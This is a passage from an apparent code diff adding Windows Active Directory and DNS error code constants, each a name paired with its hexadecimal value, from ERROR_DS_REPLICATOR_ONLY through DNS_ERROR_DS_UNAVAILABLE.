+ERROR_DS_REPLICATOR_ONLY                                                 = 0x000020b2
+ERROR_DS_OBJ_CLASS_NOT_DEFINED                                           = 0x000020b3
+ERROR_DS_OBJ_CLASS_NOT_SUBCLASS                                          = 0x000020b4
+ERROR_DS_NAME_REFERENCE_INVALID                                          = 0x000020b5
+ERROR_DS_CROSS_REF_EXISTS                                                = 0x000020b6
+ERROR_DS_CANT_DEL_MASTER_CROSSREF                                        = 0x000020b7
+ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD                                      = 0x000020b8
+ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX                                       = 0x000020b9
+ERROR_DS_DUP_RDN                                                         = 0x000020ba
+ERROR_DS_DUP_OID                                                         = 0x000020bb
+ERROR_DS_DUP_MAPI_ID                                                     = 0x000020bc
+ERROR_DS_DUP_SCHEMA_ID_GUID                                              = 0x000020bd
+ERROR_DS_DUP_LDAP_DISPLAY_NAME                                           = 0x000020be
+ERROR_DS_SEMANTIC_ATT_TEST                                               = 0x000020bf
+ERROR_DS_SYNTAX_MISMATCH                                                 = 0x000020c0
+ERROR_DS_EXISTS_IN_MUST_HAVE                                             = 0x000020c1
+ERROR_DS_EXISTS_IN_MAY_HAVE                                              = 0x000020c2
+ERROR_DS_NONEXISTENT_MAY_HAVE                                            = 0x000020c3
+ERROR_DS_NONEXISTENT_MUST_HAVE                                           = 0x000020c4
+ERROR_DS_AUX_CLS_TEST_FAIL                                               = 0x000020c5
+ERROR_DS_NONEXISTENT_POSS_SUP                                            = 0x000020c6
+ERROR_DS_SUB_CLS_TEST_FAIL                                               = 0x000020c7
+ERROR_DS_BAD_RDN_ATT_ID_SYNTAX                                           = 0x000020c8
+ERROR_DS_EXISTS_IN_AUX_CLS                                               = 0x000020c9
+ERROR_DS_EXISTS_IN_SUB_CLS                                               = 0x000020ca
+ERROR_DS_EXISTS_IN_POSS_SUP                                              = 0x000020cb
+ERROR_DS_RECALCSCHEMA_FAILED                                             = 0x000020cc
+ERROR_DS_TREE_DELETE_NOT_FINISHED                                        = 0x000020cd
+ERROR_DS_CANT_DELETE                                                     = 0x000020ce
+ERROR_DS_ATT_SCHEMA_REQ_ID                                               = 0x000020cf
+ERROR_DS_BAD_ATT_SCHEMA_SYNTAX                                           = 0x000020d0
+ERROR_DS_CANT_CACHE_ATT                                                  = 0x000020d1
+ERROR_DS_CANT_CACHE_CLASS                                                = 0x000020d2
+ERROR_DS_CANT_REMOVE_ATT_CACHE                                           = 0x000020d3
+ERROR_DS_CANT_REMOVE_CLASS_CACHE                                         = 0x000020d4
+ERROR_DS_CANT_RETRIEVE_DN                                                = 0x000020d5
+ERROR_DS_MISSING_SUPREF                                                  = 0x000020d6
+ERROR_DS_CANT_RETRIEVE_INSTANCE                                          = 0x000020d7
+ERROR_DS_CODE_INCONSISTENCY                                              = 0x000020d8
+ERROR_DS_DATABASE_ERROR                                                  = 0x000020d9
+ERROR_DS_GOVERNSID_MISSING                                               = 0x000020da
+ERROR_DS_MISSING_EXPECTED_ATT                                            = 0x000020db
+ERROR_DS_NCNAME_MISSING_CR_REF                                           = 0x000020dc
+ERROR_DS_SECURITY_CHECKING_ERROR                                         = 0x000020dd
+ERROR_DS_SCHEMA_NOT_LOADED                                               = 0x000020de
+ERROR_DS_SCHEMA_ALLOC_FAILED                                             = 0x000020df
+ERROR_DS_ATT_SCHEMA_REQ_SYNTAX                                           = 0x000020e0
+ERROR_DS_GCVERIFY_ERROR                                                  = 0x000020e1
+ERROR_DS_DRA_SCHEMA_MISMATCH                                             = 0x000020e2
+ERROR_DS_CANT_FIND_DSA_OBJ                                               = 0x000020e3
+ERROR_DS_CANT_FIND_EXPECTED_NC                                           = 0x000020e4
+ERROR_DS_CANT_FIND_NC_IN_CACHE                                           = 0x000020e5
+ERROR_DS_CANT_RETRIEVE_CHILD                                             = 0x000020e6
+ERROR_DS_SECURITY_ILLEGAL_MODIFY                                         = 0x000020e7
+ERROR_DS_CANT_REPLACE_HIDDEN_REC                                         = 0x000020e8
+ERROR_DS_BAD_HIERARCHY_FILE                                              = 0x000020e9
+ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED                                    = 0x000020ea
+ERROR_DS_CONFIG_PARAM_MISSING                                            = 0x000020eb
+ERROR_DS_COUNTING_AB_INDICES_FAILED                                      = 0x000020ec
+ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED                                   = 0x000020ed
+ERROR_DS_INTERNAL_FAILURE                                                = 0x000020ee
+ERROR_DS_UNKNOWN_ERROR                                                   = 0x000020ef
+ERROR_DS_ROOT_REQUIRES_CLASS_TOP                                         = 0x000020f0
+ERROR_DS_REFUSING_FSMO_ROLES                                             = 0x000020f1
+ERROR_DS_MISSING_FSMO_SETTINGS                                           = 0x000020f2
+ERROR_DS_UNABLE_TO_SURRENDER_ROLES                                       = 0x000020f3
+ERROR_DS_DRA_GENERIC                                                     = 0x000020f4
+ERROR_DS_DRA_INVALID_PARAMETER                                           = 0x000020f5
+ERROR_DS_DRA_BUSY                                                        = 0x000020f6
+ERROR_DS_DRA_BAD_DN                                                      = 0x000020f7
+ERROR_DS_DRA_BAD_NC                                                      = 0x000020f8
+ERROR_DS_DRA_DN_EXISTS                                                   = 0x000020f9
+ERROR_DS_DRA_INTERNAL_ERROR                                              = 0x000020fa
+ERROR_DS_DRA_INCONSISTENT_DIT                                            = 0x000020fb
+ERROR_DS_DRA_CONNECTION_FAILED                                           = 0x000020fc
+ERROR_DS_DRA_BAD_INSTANCE_TYPE                                           = 0x000020fd
+ERROR_DS_DRA_OUT_OF_MEM                                                  = 0x000020fe
+ERROR_DS_DRA_MAIL_PROBLEM                                                = 0x000020ff
+ERROR_DS_DRA_REF_ALREADY_EXISTS                                          = 0x00002100
+ERROR_DS_DRA_REF_NOT_FOUND                                               = 0x00002101
+ERROR_DS_DRA_OBJ_IS_REP_SOURCE                                           = 0x00002102
+ERROR_DS_DRA_DB_ERROR                                                    = 0x00002103
+ERROR_DS_DRA_NO_REPLICA                                                  = 0x00002104
+ERROR_DS_DRA_ACCESS_DENIED                                               = 0x00002105
+ERROR_DS_DRA_NOT_SUPPORTED                                               = 0x00002106
+ERROR_DS_DRA_RPC_CANCELLED                                               = 0x00002107
+ERROR_DS_DRA_SOURCE_DISABLED                                             = 0x00002108
+ERROR_DS_DRA_SINK_DISABLED                                               = 0x00002109
+ERROR_DS_DRA_NAME_COLLISION                                              = 0x0000210a
+ERROR_DS_DRA_SOURCE_REINSTALLED                                          = 0x0000210b
+ERROR_DS_DRA_MISSING_PARENT                                              = 0x0000210c
+ERROR_DS_DRA_PREEMPTED                                                   = 0x0000210d
+ERROR_DS_DRA_ABANDON_SYNC                                                = 0x0000210e
+ERROR_DS_DRA_SHUTDOWN                                                    = 0x0000210f
+ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET                                    = 0x00002110
+ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA                                   = 0x00002111
+ERROR_DS_DRA_EXTN_CONNECTION_FAILED                                      = 0x00002112
+ERROR_DS_INSTALL_SCHEMA_MISMATCH                                         = 0x00002113
+ERROR_DS_DUP_LINK_ID                                                     = 0x00002114
+ERROR_DS_NAME_ERROR_RESOLVING                                            = 0x00002115
+ERROR_DS_NAME_ERROR_NOT_FOUND                                            = 0x00002116
+ERROR_DS_NAME_ERROR_NOT_UNIQUE                                           = 0x00002117
+ERROR_DS_NAME_ERROR_NO_MAPPING                                           = 0x00002118
+ERROR_DS_NAME_ERROR_DOMAIN_ONLY                                          = 0x00002119
+ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING                               = 0x0000211a
+ERROR_DS_CONSTRUCTED_ATT_MOD                                             = 0x0000211b
+ERROR_DS_WRONG_OM_OBJ_CLASS                                              = 0x0000211c
+ERROR_DS_DRA_REPL_PENDING                                                = 0x0000211d
+ERROR_DS_DS_REQUIRED                                                     = 0x0000211e
+ERROR_DS_INVALID_LDAP_DISPLAY_NAME                                       = 0x0000211f
+ERROR_DS_NON_BASE_SEARCH                                                 = 0x00002120
+ERROR_DS_CANT_RETRIEVE_ATTS                                              = 0x00002121
+ERROR_DS_BACKLINK_WITHOUT_LINK                                           = 0x00002122
+ERROR_DS_EPOCH_MISMATCH                                                  = 0x00002123
+ERROR_DS_SRC_NAME_MISMATCH                                               = 0x00002124
+ERROR_DS_SRC_AND_DST_NC_IDENTICAL                                        = 0x00002125
+ERROR_DS_DST_NC_MISMATCH                                                 = 0x00002126
+ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC                                      = 0x00002127
+ERROR_DS_SRC_GUID_MISMATCH                                               = 0x00002128
+ERROR_DS_CANT_MOVE_DELETED_OBJECT                                        = 0x00002129
+ERROR_DS_PDC_OPERATION_IN_PROGRESS                                       = 0x0000212a
+ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD                                       = 0x0000212b
+ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION                                     = 0x0000212c
+ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS                                 = 0x0000212d
+ERROR_DS_NC_MUST_HAVE_NC_PARENT                                          = 0x0000212e
+ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE                                       = 0x0000212f
+ERROR_DS_DST_DOMAIN_NOT_NATIVE                                           = 0x00002130
+ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER                                = 0x00002131
+ERROR_DS_CANT_MOVE_ACCOUNT_GROUP                                         = 0x00002132
+ERROR_DS_CANT_MOVE_RESOURCE_GROUP                                        = 0x00002133
+ERROR_DS_INVALID_SEARCH_FLAG                                             = 0x00002134
+ERROR_DS_NO_TREE_DELETE_ABOVE_NC                                         = 0x00002135
+ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE                                    = 0x00002136
+ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE                        = 0x00002137
+ERROR_DS_SAM_INIT_FAILURE                                                = 0x00002138
+ERROR_DS_SENSITIVE_GROUP_VIOLATION                                       = 0x00002139
+ERROR_DS_CANT_MOD_PRIMARYGROUPID                                         = 0x0000213a
+ERROR_DS_ILLEGAL_BASE_SCHEMA_MOD                                         = 0x0000213b
+ERROR_DS_NONSAFE_SCHEMA_CHANGE                                           = 0x0000213c
+ERROR_DS_SCHEMA_UPDATE_DISALLOWED                                        = 0x0000213d
+ERROR_DS_CANT_CREATE_UNDER_SCHEMA                                        = 0x0000213e
+ERROR_DS_INSTALL_NO_SRC_SCH_VERSION                                      = 0x0000213f
+ERROR_DS_INSTALL_NO_SCH_VERSION_IN_INIFILE                               = 0x00002140
+ERROR_DS_INVALID_GROUP_TYPE                                              = 0x00002141
+ERROR_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN                              = 0x00002142
+ERROR_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN                               = 0x00002143
+ERROR_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER                                   = 0x00002144
+ERROR_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER                               = 0x00002145
+ERROR_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER                                = 0x00002146
+ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER                             = 0x00002147
+ERROR_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER                        = 0x00002148
+ERROR_DS_HAVE_PRIMARY_MEMBERS                                            = 0x00002149
+ERROR_DS_STRING_SD_CONVERSION_FAILED                                     = 0x0000214a
+ERROR_DS_NAMING_MASTER_GC                                                = 0x0000214b
+ERROR_DS_DNS_LOOKUP_FAILURE                                              = 0x0000214c
+ERROR_DS_COULDNT_UPDATE_SPNS                                             = 0x0000214d
+ERROR_DS_CANT_RETRIEVE_SD                                                = 0x0000214e
+ERROR_DS_KEY_NOT_UNIQUE                                                  = 0x0000214f
+ERROR_DS_WRONG_LINKED_ATT_SYNTAX                                         = 0x00002150
+ERROR_DS_SAM_NEED_BOOTKEY_PASSWORD                                       = 0x00002151
+ERROR_DS_SAM_NEED_BOOTKEY_FLOPPY                                         = 0x00002152
+ERROR_DS_CANT_START                                                      = 0x00002153
+ERROR_DS_INIT_FAILURE                                                    = 0x00002154
+ERROR_DS_NO_PKT_PRIVACY_ON_CONNECTION                                    = 0x00002155
+ERROR_DS_SOURCE_DOMAIN_IN_FOREST                                         = 0x00002156
+ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST                                = 0x00002157
+ERROR_DS_DESTINATION_AUDITING_NOT_ENABLED                                = 0x00002158
+ERROR_DS_CANT_FIND_DC_FOR_SRC_DOMAIN                                     = 0x00002159
+ERROR_DS_SRC_OBJ_NOT_GROUP_OR_USER                                       = 0x0000215a
+ERROR_DS_SRC_SID_EXISTS_IN_FOREST                                        = 0x0000215b
+ERROR_DS_SRC_AND_DST_OBJECT_CLASS_MISMATCH                               = 0x0000215c
+ERROR_SAM_INIT_FAILURE                                                   = 0x0000215d
+ERROR_DS_DRA_SCHEMA_INFO_SHIP                                            = 0x0000215e
+ERROR_DS_DRA_SCHEMA_CONFLICT                                             = 0x0000215f
+ERROR_DS_DRA_EARLIER_SCHEMA_CONFLICT                                     = 0x00002160
+ERROR_DS_DRA_OBJ_NC_MISMATCH                                             = 0x00002161
+ERROR_DS_NC_STILL_HAS_DSAS                                               = 0x00002162
+ERROR_DS_GC_REQUIRED                                                     = 0x00002163
+ERROR_DS_LOCAL_MEMBER_OF_LOCAL_ONLY                                      = 0x00002164
+ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS                                      = 0x00002165
+ERROR_DS_CANT_ADD_TO_GC                                                  = 0x00002166
+ERROR_DS_NO_CHECKPOINT_WITH_PDC                                          = 0x00002167
+ERROR_DS_SOURCE_AUDITING_NOT_ENABLED                                     = 0x00002168
+ERROR_DS_CANT_CREATE_IN_NONDOMAIN_NC                                     = 0x00002169
+ERROR_DS_INVALID_NAME_FOR_SPN                                            = 0x0000216a
+ERROR_DS_FILTER_USES_CONTRUCTED_ATTRS                                    = 0x0000216b
+ERROR_DS_UNICODEPWD_NOT_IN_QUOTES                                        = 0x0000216c
+ERROR_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED                                  = 0x0000216d
+ERROR_DS_MUST_BE_RUN_ON_DST_DC                                           = 0x0000216e
+ERROR_DS_SRC_DC_MUST_BE_SP4_OR_GREATER                                   = 0x0000216f
+ERROR_DS_CANT_TREE_DELETE_CRITICAL_OBJ                                   = 0x00002170
+ERROR_DS_INIT_FAILURE_CONSOLE                                            = 0x00002171
+ERROR_DS_SAM_INIT_FAILURE_CONSOLE                                        = 0x00002172
+ERROR_DS_FOREST_VERSION_TOO_HIGH                                         = 0x00002173
+ERROR_DS_DOMAIN_VERSION_TOO_HIGH                                         = 0x00002174
+ERROR_DS_FOREST_VERSION_TOO_LOW                                          = 0x00002175
+ERROR_DS_DOMAIN_VERSION_TOO_LOW                                          = 0x00002176
+ERROR_DS_INCOMPATIBLE_VERSION                                            = 0x00002177
+ERROR_DS_LOW_DSA_VERSION                                                 = 0x00002178
+ERROR_DS_NO_BEHAVIOR_VERSION_IN_MIXEDDOMAIN                              = 0x00002179
+ERROR_DS_NOT_SUPPORTED_SORT_ORDER                                        = 0x0000217a
+ERROR_DS_NAME_NOT_UNIQUE                                                 = 0x0000217b
+ERROR_DS_MACHINE_ACCOUNT_CREATED_PRENT4                                  = 0x0000217c
+ERROR_DS_OUT_OF_VERSION_STORE                                            = 0x0000217d
+ERROR_DS_INCOMPATIBLE_CONTROLS_USED                                      = 0x0000217e
+ERROR_DS_NO_REF_DOMAIN                                                   = 0x0000217f
+ERROR_DS_RESERVED_LINK_ID                                                = 0x00002180
+ERROR_DS_LINK_ID_NOT_AVAILABLE                                           = 0x00002181
+ERROR_DS_AG_CANT_HAVE_UNIVERSAL_MEMBER                                   = 0x00002182
+ERROR_DS_MODIFYDN_DISALLOWED_BY_INSTANCE_TYPE                            = 0x00002183
+ERROR_DS_NO_OBJECT_MOVE_IN_SCHEMA_NC                                     = 0x00002184
+ERROR_DS_MODIFYDN_DISALLOWED_BY_FLAG                                     = 0x00002185
+ERROR_DS_MODIFYDN_WRONG_GRANDPARENT                                      = 0x00002186
+ERROR_DS_NAME_ERROR_TRUST_REFERRAL                                       = 0x00002187
+ERROR_NOT_SUPPORTED_ON_STANDARD_SERVER                                   = 0x00002188
+ERROR_DS_CANT_ACCESS_REMOTE_PART_OF_AD                                   = 0x00002189
+ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE_V2                                    = 0x0000218a
+ERROR_DS_THREAD_LIMIT_EXCEEDED                                           = 0x0000218b
+ERROR_DS_NOT_CLOSEST                                                     = 0x0000218c
+ERROR_DS_CANT_DERIVE_SPN_WITHOUT_SERVER_REF                              = 0x0000218d
+ERROR_DS_SINGLE_USER_MODE_FAILED                                         = 0x0000218e
+ERROR_DS_NTDSCRIPT_SYNTAX_ERROR                                          = 0x0000218f
+ERROR_DS_NTDSCRIPT_PROCESS_ERROR                                         = 0x00002190
+ERROR_DS_DIFFERENT_REPL_EPOCHS                                           = 0x00002191
+ERROR_DS_DRS_EXTENSIONS_CHANGED                                          = 0x00002192
+ERROR_DS_REPLICA_SET_CHANGE_NOT_ALLOWED_ON_DISABLED_CR                   = 0x00002193
+ERROR_DS_NO_MSDS_INTID                                                   = 0x00002194
+ERROR_DS_DUP_MSDS_INTID                                                  = 0x00002195
+ERROR_DS_EXISTS_IN_RDNATTID                                              = 0x00002196
+ERROR_DS_AUTHORIZATION_FAILED                                            = 0x00002197
+ERROR_DS_INVALID_SCRIPT                                                  = 0x00002198
+ERROR_DS_REMOTE_CROSSREF_OP_FAILED                                       = 0x00002199
+ERROR_DS_CROSS_REF_BUSY                                                  = 0x0000219a
+ERROR_DS_CANT_DERIVE_SPN_FOR_DELETED_DOMAIN                              = 0x0000219b
+ERROR_DS_CANT_DEMOTE_WITH_WRITEABLE_NC                                   = 0x0000219c
+ERROR_DS_DUPLICATE_ID_FOUND                                              = 0x0000219d
+ERROR_DS_INSUFFICIENT_ATTR_TO_CREATE_OBJECT                              = 0x0000219e
+ERROR_DS_GROUP_CONVERSION_ERROR                                          = 0x0000219f
+ERROR_DS_CANT_MOVE_APP_BASIC_GROUP                                       = 0x000021a0
+ERROR_DS_CANT_MOVE_APP_QUERY_GROUP                                       = 0x000021a1
+ERROR_DS_ROLE_NOT_VERIFIED                                               = 0x000021a2
+ERROR_DS_WKO_CONTAINER_CANNOT_BE_SPECIAL                                 = 0x000021a3
+ERROR_DS_DOMAIN_RENAME_IN_PROGRESS                                       = 0x000021a4
+ERROR_DS_EXISTING_AD_CHILD_NC                                            = 0x000021a5
+ERROR_DS_REPL_LIFETIME_EXCEEDED                                          = 0x000021a6
+ERROR_DS_DISALLOWED_IN_SYSTEM_CONTAINER                                  = 0x000021a7
+ERROR_DS_LDAP_SEND_QUEUE_FULL                                            = 0x000021a8
+ERROR_DS_DRA_OUT_SCHEDULE_WINDOW                                         = 0x000021a9
+ERROR_DS_POLICY_NOT_KNOWN                                                = 0x000021aa
+ERROR_NO_SITE_SETTINGS_OBJECT                                            = 0x000021ab
+ERROR_NO_SECRETS                                                         = 0x000021ac
+ERROR_NO_WRITABLE_DC_FOUND                                               = 0x000021ad
+ERROR_DS_NO_SERVER_OBJECT                                                = 0x000021ae
+ERROR_DS_NO_NTDSA_OBJECT                                                 = 0x000021af
+ERROR_DS_NON_ASQ_SEARCH                                                  = 0x000021b0
+ERROR_DS_AUDIT_FAILURE                                                   = 0x000021b1
+ERROR_DS_INVALID_SEARCH_FLAG_SUBTREE                                     = 0x000021b2
+ERROR_DS_INVALID_SEARCH_FLAG_TUPLE                                       = 0x000021b3
+ERROR_DS_HIERARCHY_TABLE_TOO_DEEP                                        = 0x000021b4
+ERROR_DS_DRA_CORRUPT_UTD_VECTOR                                          = 0x000021b5
+ERROR_DS_DRA_SECRETS_DENIED                                              = 0x000021b6
+ERROR_DS_RESERVED_MAPI_ID                                                = 0x000021b7
+ERROR_DS_MAPI_ID_NOT_AVAILABLE                                           = 0x000021b8
+ERROR_DS_DRA_MISSING_KRBTGT_SECRET                                       = 0x000021b9
+ERROR_DS_DOMAIN_NAME_EXISTS_IN_FOREST                                    = 0x000021ba
+ERROR_DS_FLAT_NAME_EXISTS_IN_FOREST                                      = 0x000021bb
+ERROR_INVALID_USER_PRINCIPAL_NAME                                        = 0x000021bc
+ERROR_DS_OID_MAPPED_GROUP_CANT_HAVE_MEMBERS                              = 0x000021bd
+ERROR_DS_OID_NOT_FOUND                                                   = 0x000021be
+ERROR_DS_DRA_RECYCLED_TARGET                                             = 0x000021bf
+ERROR_DS_DISALLOWED_NC_REDIRECT                                          = 0x000021c0
+ERROR_DS_HIGH_ADLDS_FFL                                                  = 0x000021c1
+ERROR_DS_HIGH_DSA_VERSION                                                = 0x000021c2
+ERROR_DS_LOW_ADLDS_FFL                                                   = 0x000021c3
+ERROR_DOMAIN_SID_SAME_AS_LOCAL_WORKSTATION                               = 0x000021c4
+ERROR_DS_UNDELETE_SAM_VALIDATION_FAILED                                  = 0x000021c5
+ERROR_INCORRECT_ACCOUNT_TYPE                                             = 0x000021c6
+DNS_ERROR_RCODE_FORMAT_ERROR                                             = 0x00002329
+DNS_ERROR_RCODE_SERVER_FAILURE                                           = 0x0000232a
+DNS_ERROR_RCODE_NAME_ERROR                                               = 0x0000232b
+DNS_ERROR_RCODE_NOT_IMPLEMENTED                                          = 0x0000232c
+DNS_ERROR_RCODE_REFUSED                                                  = 0x0000232d
+DNS_ERROR_RCODE_YXDOMAIN                                                 = 0x0000232e
+DNS_ERROR_RCODE_YXRRSET                                                  = 0x0000232f
+DNS_ERROR_RCODE_NXRRSET                                                  = 0x00002330
+DNS_ERROR_RCODE_NOTAUTH                                                  = 0x00002331
+DNS_ERROR_RCODE_NOTZONE                                                  = 0x00002332
+DNS_ERROR_RCODE_BADSIG                                                   = 0x00002338
+DNS_ERROR_RCODE_BADKEY                                                   = 0x00002339
+DNS_ERROR_RCODE_BADTIME                                                  = 0x0000233a
+DNS_ERROR_KEYMASTER_REQUIRED                                             = 0x0000238d
+DNS_ERROR_NOT_ALLOWED_ON_SIGNED_ZONE                                     = 0x0000238e
+DNS_ERROR_NSEC3_INCOMPATIBLE_WITH_RSA_SHA1                               = 0x0000238f
+DNS_ERROR_NOT_ENOUGH_SIGNING_KEY_DESCRIPTORS                             = 0x00002390
+DNS_ERROR_UNSUPPORTED_ALGORITHM                                          = 0x00002391
+DNS_ERROR_INVALID_KEY_SIZE                                               = 0x00002392
+DNS_ERROR_SIGNING_KEY_NOT_ACCESSIBLE                                     = 0x00002393
+DNS_ERROR_KSP_DOES_NOT_SUPPORT_PROTECTION                                = 0x00002394
+DNS_ERROR_UNEXPECTED_DATA_PROTECTION_ERROR                               = 0x00002395
+DNS_ERROR_UNEXPECTED_CNG_ERROR                                           = 0x00002396
+DNS_ERROR_UNKNOWN_SIGNING_PARAMETER_VERSION                              = 0x00002397
+DNS_ERROR_KSP_NOT_ACCESSIBLE                                             = 0x00002398
+DNS_ERROR_TOO_MANY_SKDS                                                  = 0x00002399
+DNS_ERROR_INVALID_ROLLOVER_PERIOD                                        = 0x0000239a
+DNS_ERROR_INVALID_INITIAL_ROLLOVER_OFFSET                                = 0x0000239b
+DNS_ERROR_ROLLOVER_IN_PROGRESS                                           = 0x0000239c
+DNS_ERROR_STANDBY_KEY_NOT_PRESENT                                        = 0x0000239d
+DNS_ERROR_NOT_ALLOWED_ON_ZSK                                             = 0x0000239e
+DNS_ERROR_NOT_ALLOWED_ON_ACTIVE_SKD                                      = 0x0000239f
+DNS_ERROR_ROLLOVER_ALREADY_QUEUED                                        = 0x000023a0
+DNS_ERROR_NOT_ALLOWED_ON_UNSIGNED_ZONE                                   = 0x000023a1
+DNS_ERROR_BAD_KEYMASTER                                                  = 0x000023a2
+DNS_ERROR_INVALID_SIGNATURE_VALIDITY_PERIOD                              = 0x000023a3
+DNS_ERROR_INVALID_NSEC3_ITERATION_COUNT                                  = 0x000023a4
+DNS_ERROR_DNSSEC_IS_DISABLED                                             = 0x000023a5
+DNS_ERROR_INVALID_XML                                                    = 0x000023a6
+DNS_ERROR_NO_VALID_TRUST_ANCHORS                                         = 0x000023a7
+DNS_ERROR_ROLLOVER_NOT_POKEABLE                                          = 0x000023a8
+DNS_ERROR_NSEC3_NAME_COLLISION                                           = 0x000023a9
+DNS_ERROR_NSEC_INCOMPATIBLE_WITH_NSEC3_RSA_SHA1                          = 0x000023aa
+DNS_INFO_NO_RECORDS                                                      = 0x0000251d
+DNS_ERROR_BAD_PACKET                                                     = 0x0000251e
+DNS_ERROR_NO_PACKET                                                      = 0x0000251f
+DNS_ERROR_RCODE                                                          = 0x00002520
+DNS_ERROR_UNSECURE_PACKET                                                = 0x00002521
+DNS_REQUEST_PENDING                                                      = 0x00002522
+DNS_ERROR_INVALID_TYPE                                                   = 0x0000254f
+DNS_ERROR_INVALID_IP_ADDRESS                                             = 0x00002550
+DNS_ERROR_INVALID_PROPERTY                                               = 0x00002551
+DNS_ERROR_TRY_AGAIN_LATER                                                = 0x00002552
+DNS_ERROR_NOT_UNIQUE                                                     = 0x00002553
+DNS_ERROR_NON_RFC_NAME                                                   = 0x00002554
+DNS_STATUS_FQDN                                                          = 0x00002555
+DNS_STATUS_DOTTED_NAME                                                   = 0x00002556
+DNS_STATUS_SINGLE_PART_NAME                                              = 0x00002557
+DNS_ERROR_INVALID_NAME_CHAR                                              = 0x00002558
+DNS_ERROR_NUMERIC_NAME                                                   = 0x00002559
+DNS_ERROR_NOT_ALLOWED_ON_ROOT_SERVER                                     = 0x0000255a
+DNS_ERROR_NOT_ALLOWED_UNDER_DELEGATION                                   = 0x0000255b
+DNS_ERROR_CANNOT_FIND_ROOT_HINTS                                         = 0x0000255c
+DNS_ERROR_INCONSISTENT_ROOT_HINTS                                        = 0x0000255d
+DNS_ERROR_DWORD_VALUE_TOO_SMALL                                          = 0x0000255e
+DNS_ERROR_DWORD_VALUE_TOO_LARGE                                          = 0x0000255f
+DNS_ERROR_BACKGROUND_LOADING                                             = 0x00002560
+DNS_ERROR_NOT_ALLOWED_ON_RODC                                            = 0x00002561
+DNS_ERROR_NOT_ALLOWED_UNDER_DNAME                                        = 0x00002562
+DNS_ERROR_DELEGATION_REQUIRED                                            = 0x00002563
+DNS_ERROR_INVALID_POLICY_TABLE                                           = 0x00002564
+DNS_ERROR_ZONE_DOES_NOT_EXIST                                            = 0x00002581
+DNS_ERROR_NO_ZONE_INFO                                                   = 0x00002582
+DNS_ERROR_INVALID_ZONE_OPERATION                                         = 0x00002583
+DNS_ERROR_ZONE_CONFIGURATION_ERROR                                       = 0x00002584
+DNS_ERROR_ZONE_HAS_NO_SOA_RECORD                                         = 0x00002585
+DNS_ERROR_ZONE_HAS_NO_NS_RECORDS                                         = 0x00002586
+DNS_ERROR_ZONE_LOCKED                                                    = 0x00002587
+DNS_ERROR_ZONE_CREATION_FAILED                                           = 0x00002588
+DNS_ERROR_ZONE_ALREADY_EXISTS                                            = 0x00002589
+DNS_ERROR_AUTOZONE_ALREADY_EXISTS                                        = 0x0000258a
+DNS_ERROR_INVALID_ZONE_TYPE                                              = 0x0000258b
+DNS_ERROR_SECONDARY_REQUIRES_MASTER_IP                                   = 0x0000258c
+DNS_ERROR_ZONE_NOT_SECONDARY                                             = 0x0000258d
+DNS_ERROR_NEED_SECONDARY_ADDRESSES                                       = 0x0000258e
+DNS_ERROR_WINS_INIT_FAILED                                               = 0x0000258f
+DNS_ERROR_NEED_WINS_SERVERS                                              = 0x00002590
+DNS_ERROR_NBSTAT_INIT_FAILED                                             = 0x00002591
+DNS_ERROR_SOA_DELETE_INVALID                                             = 0x00002592
+DNS_ERROR_FORWARDER_ALREADY_EXISTS                                       = 0x00002593
+DNS_ERROR_ZONE_REQUIRES_MASTER_IP                                        = 0x00002594
+DNS_ERROR_ZONE_IS_SHUTDOWN                                               = 0x00002595
+DNS_ERROR_ZONE_LOCKED_FOR_SIGNING                                        = 0x00002596
+DNS_ERROR_PRIMARY_REQUIRES_DATAFILE                                      = 0x000025b3
+DNS_ERROR_INVALID_DATAFILE_NAME                                          = 0x000025b4
+DNS_ERROR_DATAFILE_OPEN_FAILURE                                          = 0x000025b5
+DNS_ERROR_FILE_WRITEBACK_FAILED                                          = 0x000025b6
+DNS_ERROR_DATAFILE_PARSING                                               = 0x000025b7
+DNS_ERROR_RECORD_DOES_NOT_EXIST                                          = 0x000025e5
+DNS_ERROR_RECORD_FORMAT                                                  = 0x000025e6
+DNS_ERROR_NODE_CREATION_FAILED                                           = 0x000025e7
+DNS_ERROR_UNKNOWN_RECORD_TYPE                                            = 0x000025e8
+DNS_ERROR_RECORD_TIMED_OUT                                               = 0x000025e9
+DNS_ERROR_NAME_NOT_IN_ZONE                                               = 0x000025ea
+DNS_ERROR_CNAME_LOOP                                                     = 0x000025eb
+DNS_ERROR_NODE_IS_CNAME                                                  = 0x000025ec
+DNS_ERROR_CNAME_COLLISION                                                = 0x000025ed
+DNS_ERROR_RECORD_ONLY_AT_ZONE_ROOT                                       = 0x000025ee
+DNS_ERROR_RECORD_ALREADY_EXISTS                                          = 0x000025ef
+DNS_ERROR_SECONDARY_DATA                                                 = 0x000025f0
+DNS_ERROR_NO_CREATE_CACHE_DATA                                           = 0x000025f1
+DNS_ERROR_NAME_DOES_NOT_EXIST                                            = 0x000025f2
+DNS_WARNING_PTR_CREATE_FAILED                                            = 0x000025f3
+DNS_WARNING_DOMAIN_UNDELETED                                             = 0x000025f4
+DNS_ERROR_DS_UNAVAILABLE                                                 = 0x000025f5
